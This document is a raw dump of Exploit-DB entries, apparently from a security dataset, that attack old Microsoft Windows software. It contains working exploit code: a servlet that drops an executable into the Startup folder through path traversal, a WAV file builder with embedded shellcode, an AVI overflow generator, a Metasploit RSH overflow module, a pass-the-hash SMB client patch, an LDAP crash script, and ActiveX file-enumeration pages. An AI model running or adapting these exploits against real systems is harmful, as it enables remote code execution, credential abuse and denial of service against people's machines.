deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22570
Description: Microsoft Windows Media Player 7.1 - Skin File Code Execution
Type: remote
Platform: windows
Date: 2003-05-07
Author: Jelmer Kuperus

Exploit:
source: https://www.securityfocus.com/bid/7517/info

Windows Media Player is vulnerable to code execution through skin files. WMP does not properly validate URLs that are passed to initiate a skin file download and installation. This could allow a malicious file advertised as a skin file to be downloaded to a known location and executed through some other means. 

import javax.servlet.http.HttpServlet; 
import javax.servlet.http.HttpServletRequest; 
import javax.servlet.http.HttpServletResponse; 
import javax.servlet.ServletException; 
import javax.servlet.ServletOutputStream; 
import java.io.*; 
 
/** 
 * 
 * Microsoft media player 8 Exploit for windows XP English and Dutch versions 
 * 
 * It will drop a file in the startup folder 
 * 
 * modify web.xml to change what will be uploaded 
 * 
 * @author Jelmer Kuperus 
 * 
 */ 
 
public class MediaPlayerExploit extends HttpServlet { 
 
    private static final int BUFFER_SIZE = 1024; 
 
    private static final String[] paths = new String[] { 
        "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CStart%20Menu%5CPrograms%5CStartup%5c", // English 
        "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CMenu Start%5CProgramma%27s%5Copstarten%5c" // Dutch 
    }; 
 
    private String payload; 
 
 
    public void init() throws ServletException { 
        payload = getInitParameter("executable"); 
    } 
 
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 
 
        int language = 0; // default to english 
 
        try { 
            language = Integer.parseInt(request.getParameter("language")); 
        } catch (NumberFormatException ignored) {} 
 
        String path = paths[language]; 
 
        File file = new File(payload); 
 
        ServletOutputStream sos = response.getOutputStream(); 
 
        response.setContentType("application/download"); 
        response.setHeader("Content-Disposition","filename=" + path + file.getName() + "%00.wmz"); 
 
        BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file)); 
        BufferedOutputStream bos = new BufferedOutputStream(sos); 
 
        byte buffer[] = new byte[BUFFER_SIZE]; 
 
        int datalength = 0; 
        while ( (datalength = bis.read(buffer,0,BUFFER_SIZE)) > 0) { 
            bos.write(buffer,0,datalength); 
        } 
        bis.close(); 
        bos.close(); 
    } 
 
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 
        doGet(request, response); 
    } 
 
}
Exploit-DB #25032
Description: Microsoft Windows Media Player 9.0 - ActiveX Control File Enumeration
Type: remote
Platform: windows
Date: 2004-12-18
Author: Arman Nayyeri

Exploit:
source: https://www.securityfocus.com/bid/12032/info

The Windows Media Player ActiveX control is prone to a security weakness that may allow a malicious Web page to enumerate files that exist on the client computer.

This could aid in further attacks.

This issue is reported to affect Windows Media Player 9. It reportedly does not work on computers running Windows XP SP2 when the attack is executed from a remote source. This is likely due to additional browser security measures in Windows XP SP2. 

<html><head><title>My Mortality</title></head><body>

<H1>Look at yourself and find the mortality of your body</H1>
<object style="display:none;"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6"
id="WindowsMediaPlayer">
<param name="autoStart" value="0">
<param name="mute" value="1">
</object>

<script>
var filePath = prompt("Enter the path of local file to check:","c:\\test.txt");
WindowsMediaPlayer.URL=filePath;
setTimeout(
function(){
ss=WindowsMediaPlayer.currentMedia.getItemInfoByAtom(19);
if (ss!="")
alert(filePath+" exist.\nThe file size is "+ss+" bytes. And you are surely vulnerable");
else
alert(filePath+" does not exist. Or you are not vulnerable");
}
,100);
</script>

</body></html>
Exploit-DB #25031
Description: Microsoft Windows Media Player 9.0 - ActiveX Control Media File Attribute Corruption
Type: remote
Platform: windows
Date: 2004-12-18
Author: Arman Nayyeri

Exploit:
source: https://www.securityfocus.com/bid/12031/info

The Windows Media Player ActiveX control is prone to a security weakness. The issue is that the control may be abused by a Web page to change attributes of media files (such as MP3). An attacker can influence attributes such as the artist, song name, or album name.

It is possible to exploit this weakness to inject malicious script code into these attributes. If this issue was combined with a vulnerability that could force Internet Explorer to interpret the injected script code, it may be possible to execute malicious script code in the Local Zone. Such an attack would lead to execution of arbitrary code on computers that do not have this Zone locked down.

This issue is reported to affect Windows Media Player 9. It reportedly does not work on computers running Windows XP SP2 when the attack is executed from a remote source. This is likely due to additional browser security measures in Windows XP SP2. 

<object style="display:none;"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6"
id="WindowsMediaPlayer">
<param name="autoStart" value="1">
<param name="url" value="file://c:\program files\winamp\winamp.m3u">
<param name="mute" value="1">
</object>

<script>

note = 'Look at yourself and find the mortality of your body';

setTimeout(
function(){
if (WindowsMediaPlayer.currentMedia.sourceURL!='c:\\program files\\winamp\\winamp.m3u')
{
artist = WindowsMediaPlayer.currentMedia.getItemInfo("Artist");
title = WindowsMediaPlayer.currentMedia.getItemInfo("Title");
album = WindowsMediaPlayer.currentMedia.getItemInfo("Album");
texxt = "";
if (artist!=note)
{
if (artist!="")
texxt='I like '+artist+'!\n';
if (title!="")
texxt=texxt+'I think '+title+' is the best song';
if ((title!="")&&(album!=""))
texxt=texxt+' from ';
if (album!="")
texxt=texxt+'My favorite album "'+album+'".\n';
else
texxt=texxt+'.\n';
texxt=texxt+'I have it on my computer ('+WindowsMediaPlayer.currentMedia.sourceURL+'), I guess you have it too! ;)';
alert(texxt);
}
WindowsMediaPlayer.currentMedia.setItemInfo("Artist",note);
alert('done!\nplay '+WindowsMediaPlayer.currentMedia.sourceURL+' by a player and take a look at artist name, it must be changed!');
WindowsMediaPlayer.controls.stop();
WindowsMediaPlayer.controls.play();
}
else
alert('Can\'t find winamp default playlist!\nMost probably the winamp is not installed in c:\\program files\\winamp directory.');
}
,2000);
</script>


</body></html>
Exploit-DB #32684
Description: Microsoft Windows Media Player 9/10/11 - '.WAV' File Parsing Code Execution
Type: remote
Platform: windows
Date: 2008-12-29
Author: anonymous

Exploit:
// source: https://www.securityfocus.com/bid/33042/info

Microsoft Windows Media Player is prone to a code-execution vulnerability.

An attacker can exploit this issue by tricking an unsuspecting victim into opening a malicious file with the vulnerable application. A successful exploit will allow arbitrary code to run in the context of the user running the application. 

#include <stdio.h>

int main()
{
/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=138 Encoder=None http://metasploit.com */
unsigned char scode[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8"
"\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff"
"\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

unsigned char begincode[] =
"\x52\x49\x46\x46\x04\x44\x0E\x01\x57\x41\x56\x45\x66\x6D\x74\x20"
"\x28\x00\x00\x00\xFE\xFF\x02\x00\x00\xEE\x02\x00\x00\x94\x11\x00"
"\x06\x00\x18\x00\x16\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x10\x00\x80\x00\x00\xAA\x00\x38\x9B\x71\x64\x61\x74\x61"
"\xC8\x43\x0E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00";

    FILE *f;
    f = _fsopen("new.wav", "w+", 0);
    fwrite(begincode, sizeof(scode), 1, f);
    for (int i=0; i<20000; i++)
         fwrite(scode, sizeof(scode), 1, f);
    fclose(f);
    return 0;
}
Exploit-DB #35446
Description: Microsoft Windows Movie Maker 2.1.4026 - '.avi' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-03-10
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/46835/info

Windows Movie Maker is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue allows attackers to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will result in a denial-of-service condition.

Windows Movie Maker 2.1.4026 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl

###
# Title : Windows Movie Maker 2.1 (Import AVI video) Stack Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria [PII_REDACTED]8701)
# Twitter page : twitter.com/kedans
# platform : Windows 
# Impact : Stack Overflow in 'moviemk.exe' Process
# Tested on : Windows XP SP3 Fran?ais 
# Target : Windows Movie Maker 2.1.4026
###
# Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
# ------------
# Usage : 1 - Creat AVI file
#    =>    2 - Impoter AVI file in WMM 2.1
#     =>    3 -  OverFlow !!!
# Assembly Errur : {
# [div] exa ,ecx ; 0x74872224 "\xf7\xf1"
# [int] ; 0x41 * 515 bytes
# }
# ------------
#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";                  
print "    |===========================================================|\n";
print "    |= [!] Name : Windows Movie Maker 2.1 (Import AVI video)   =|\n";
print "    |= [!] Exploit : Stack Buffer Overflow                     =|\n";
print "    |= [!] Author : KedAns-Dz                                  =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com                      =|\n";
print "    |===========================================================|\n";
sleep(2);
print "\n";
# Creating ...
my $PoC = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; # AVI Header
my $Junk = "\x41" x 515 ; # Junk
open(file , ">", "Kedans.avi"); # Evil Video AVI (529 bytes) 4.0 KB
print file $PoC.$Junk;  
print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";
close(file);  

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# Greets to : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=>
# Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz * His0k4 * Dr.0rYX 
# Cr3w-DZ * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends .
# Special Greets to 3 em EnGineering Electric Class , BACALORIA 2011 Enchallah 
# Messas Secondary School - Ain mlilla - 04300 - Algeria
# hotturks.org : TeX * KadaVra ... all Others
# Kelvin.Xgr ( kelvinx.net)
#===========================================================================
Exploit-DB #19113
Description: Microsoft Windows NT 3.5.1 SP2/3.5.1 SP3/3.5.1 SP4/3.5.1 SP5/4.0/4.0 SP1/4.0 SP2/4.0 SP3/4.0 SP4/4.0 SP5 - TelnetD
Type: remote
Platform: windows
Date: 1999-01-02
Author: Tomas Halgas

Exploit:
source: https://www.securityfocus.com/bid/140/info

A vulnerability exists within Microsoft's Telnetd daemon which allows a denial of service condition. The popular scanning tool, Nmap 2.01 or later can crash telnetd services when using the SYN scanning flag (-sS).

nmap -sS -p 23 <target>
Exploit-DB #20460
Description: Microsoft Windows NT 4.0 - Phonebook Server Buffer Overflow
Type: remote
Platform: windows
Date: 2000-12-04
Author: Alberto Solino

Exploit:
source: https://www.securityfocus.com/bid/2048/info

The Phone Book Service is an optional component that ships with the NT 4 Option Pack and Windows 2000. It is not installed by default.

A buffer overflow vulnerability was discovered in the URL processing routines of the Phone Book Service requests on IIS 4 and IIS 5. If exploited, this vulnerability allows an attacker to execute arbitrary code and obtain a remote command shell with those privileges of the IUSR_machinename account (IIS 4) or the IWAM_machinename account (IIS 5). 

The Phone Book server services requests using the Internet Information Services 5.0 with URIs such as http://hostname/pbserver/

According to Microsoft's documentation a DLL (PBSERVER.DLL) is exported and the services can be used making requests with the following format:



http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pb
ver=&pb=<STRING=db name>

In the DLL checks the total lenght to ensure that request does not exceed
1024 bytes, however it is
possible to overflow a local variable of fixed length in the DLL by sending
a request with
the following form:

GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars)
HTTP/1.0\n\n

The result is an exception reported in the Event log with source WAM like
the following:

The HTTP server encountered an unhandled exception while processing the
ISAPI Application '
+ 0x41414143
+ 0x41414139
pbserver!HttpExtensionProc + 0x1C
wam!DllGetClassObject + 0x808
RPCRT4!NdrServerInitialize + 0x4DB
RPCRT4!NdrStubCall2 + 0x586
RPCRT4!CStdStubBuffer_Invoke + 0xC1
ole32!StgGetIFillLockBytesOnFile + 0x116EC
ole32!StgGetIFillLockBytesOnFile + 0x12415
ole32!DcomChannelSetHResult + 0xDF0
ole32!DcomChannelSetHResult + 0xD35
ole32!StgGetIFillLockBytesOnFile + 0x122AD
ole32!StgGetIFillLockBytesOnFile + 0x1210A
ole32!StgGetIFillLockBytesOnFile + 0x11E22
RPCRT4!NdrServerInitialize + 0x745
RPCRT4!NdrServerInitialize + 0x652
RPCRT4!NdrServerInitialize + 0x578
RPCRT4!RpcSmDestroyClientContext + 0x9E
RPCRT4!NdrConformantArrayFree + 0x8A5
RPCRT4!NdrConformantArrayFree + 0x3FC
RPCRT4!RpcBindingSetOption + 0x395
RPCRT4!RpcBindingSetOption + 0x18E
RPCRT4!RpcBindingSetOption + 0x4F8
KERNEL32!CreateFileA + 0x11B

For additional information specific to this message please visit the Microsoft Online Support site located at: http://www.microsoft.com/contentredirect.asp.

By sending a carefully crafted HTTP request an attacker can bypass the total length check and overflow a local variable in PBSERVER.DLL allowing the execution of arbitrary code as user GUEST on the vulnerable machine.
Exploit-DB #19197
Description: Microsoft Windows NT 4.0 SP5 / Terminal Server 4.0 - 'Pass the Hash' with Modified SMB Client
Type: remote
Platform: windows
Date: 1997-04-08
Author: Paul Ashton

Exploit:
source: https://www.securityfocus.com/bid/233/info

A modified SMB client can mount shares on an SMB host by passing the username and corresponding LanMan hash of an account that is authorized to access the host and share. The modified SMB client removes the need for the user to "decrypt" the password hash into its clear-text equivalent.

Paul Ashton <paul@EIGEN.CO.UK> posted the theory and corresponding exploit code to NTBugtraq. In order for his code to work, you must "exist both in /etc/passwd and /usr/local/samba/private/smbpasswd as the same username and same uid as your rid in NT, and smbclient can read it".

In order for this to be used in a malicious manner, the attacker must first obtain a valid username and LanMan hash for a user account known to have access permissions to the resource on the remote NT host. 


*** orig_client.c Tue Apr 8 17:27:29 1997
--- client.c Tue Apr 8 20:57:43 1997
***************
*** 3020,3026 ****
{-1,NULL}
};

-
/****************************************************************************
send a login command
****************************************************************************/
--- 3020,3025 ----
***************
*** 3039,3044 ****
--- 3038,3061 ----
int numprots;
int tries=0;

+ #ifdef USESMBPASSWDFILE
+ /*TODO check for valid password and uid = getuid */
+ BOOL got_encpass;
+ struct passwd *pwd;
+ struct smb_passwd *smb_pass;
+ unsigned char p21[21];
+
+ memset(p21, 0, sizeof p21);
+ [CREDENTIAL_REDACTED](getuid());
+ if (pwd && (smb_pass = get_smbpwnam(pwd->pw_name)))
+ {
+ strcpy(password, "not empty");
+ got_pass = got_encpass = True;
+ memcpy(p21, smb_pass->smb_passwd, 16);
+ }
+ setuid(getuid());
+ #endif
+
if (was_null)
{
inbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
***************
*** 3189,3194 ****
--- 3205,3215 ----
if (doencrypt && *pass) {
DEBUG(3,("Using encrypted passwords\n"));
passlen = 24;
+
+ #ifdef USESMBPASSWDFILE
+ if (got_encpass) E_P24(p21,cryptkey,pword);
+ else
+ #endif
SMBencrypt(pass,cryptkey,pword);
}
#else
***************
*** 3252,3257 ****
--- 3273,3281 ----
(CVAL(inbuf,smb_rcls) == ERRSRV &&
SVAL(inbuf,smb_err) == ERRbadpw)))
{
+ #ifdef USESMBPASSWDFILE
+ got_encpass =
+ #endif
got_pass = False;
DEBUG(3,("resending login\n"));
goto get_pass;
Exploit-DB #16427
Description: Microsoft Windows RSH daemon - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: windows_rsh.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows RSH daemon Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerabliltiy in Windows RSH daemon 1.8.
				The vulnerability is due to a failure to check for the length of input sent
				to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
				to be successful.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
						['CVE', '2007-4006'],
						['OSVDB', '38572'],
						['BID', '25044'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 850,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
						[ 'Windows 2003 SP1 English',         { 'Ret' => 0x77409dbb } ],
						[ 'Windows XP Pro SP2 English',       { 'Ret' => 0x7e497c7b } ],
						[ 'Windows 2000 Pro SP4 English',     { 'Ret' => 0x77f81be3 } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Jul 24 2007',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(514)], self.class)
	end

	def exploit
		connect

		sploit =  (("\x00" + rand_text_english(1)) * 2) + "\x00"
		sploit << rand_text_english(1024) + [target.ret].pack('V')
		sploit << payload.encoded

		print_status("Trying target #{target.name}...")

		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #4948
Description: Microsoft Windows RSH daemon 1.8 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-01-21
Author: prdelka

Exploit:
Windows RSH daemon <= 1.8 Remote Buffer Overflow Exploit

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4948.tar.gz (2008-prdelka-vs-MS-rshd.tar.gz)

# milw0rm.com [2008-01-21]
Exploit-DB #6841
Description: Microsoft Windows Server - Universal Code Execution (MS08-067)
Type: remote
Platform: windows
Date: 2008-10-26
Author: EMM

Exploit:
MS08-067 Exploit for CN by EMM

exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6841.rar (2008-MS08-067.rar)

# milw0rm.com [2008-10-26]
Exploit-DB #22782
Description: Microsoft Windows Server 2000 - Active Directory Remote Stack Overflow
Type: remote
Platform: windows
Date: 2003-07-02
Author: Core Security

Exploit:
source: https://www.securityfocus.com/bid/7930/info

A vulnerability has been discovered in Microsoft Windows 2000. The problem occurs in the Active Directory component and will result in a denial of service.

An unauthenticated attacker could exploit this vulnerability by transmitting a malformed LDAP version 3 request to a target Microsoft Windows 2000 server. When the request is processed, an exception will be triggered effectively causing the target server to crash.

An affected system is said to reboot within 30 seconds of the exception being triggered.

class ActiveDirectoryDOS( Ldap ):

    def __init__(self):
        self._s = None
        self.host = '192.168.0.1'
        self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
        self.port = 389
        self.buffer = ''
        self.msg_id = 1
        Ldap.__init__()

    def generateFilter_BinaryOp( self, filter ):
        filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
        filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
        return filterBuffer        
    
    def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
        simpleBinOp = self.generateFilter_BinaryOp( filter )
        filterBuffer = simpleBinOp
        for cnt in range( 0, numTimes ):
            filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
        return filterBuffer


    def searchSub( self, filterBuffer ):

        self.bindRequest()
        self.searchRequest( filterBuffer )

    def run(self, host = '', basedn = '', name = '' ):
        
        # the machine must not exist
        machine_name = 'xaxax'
        
        filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)

        # execute the anonymous query
        print 'executing query'
        filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
        self.searchSub( filterBuffer )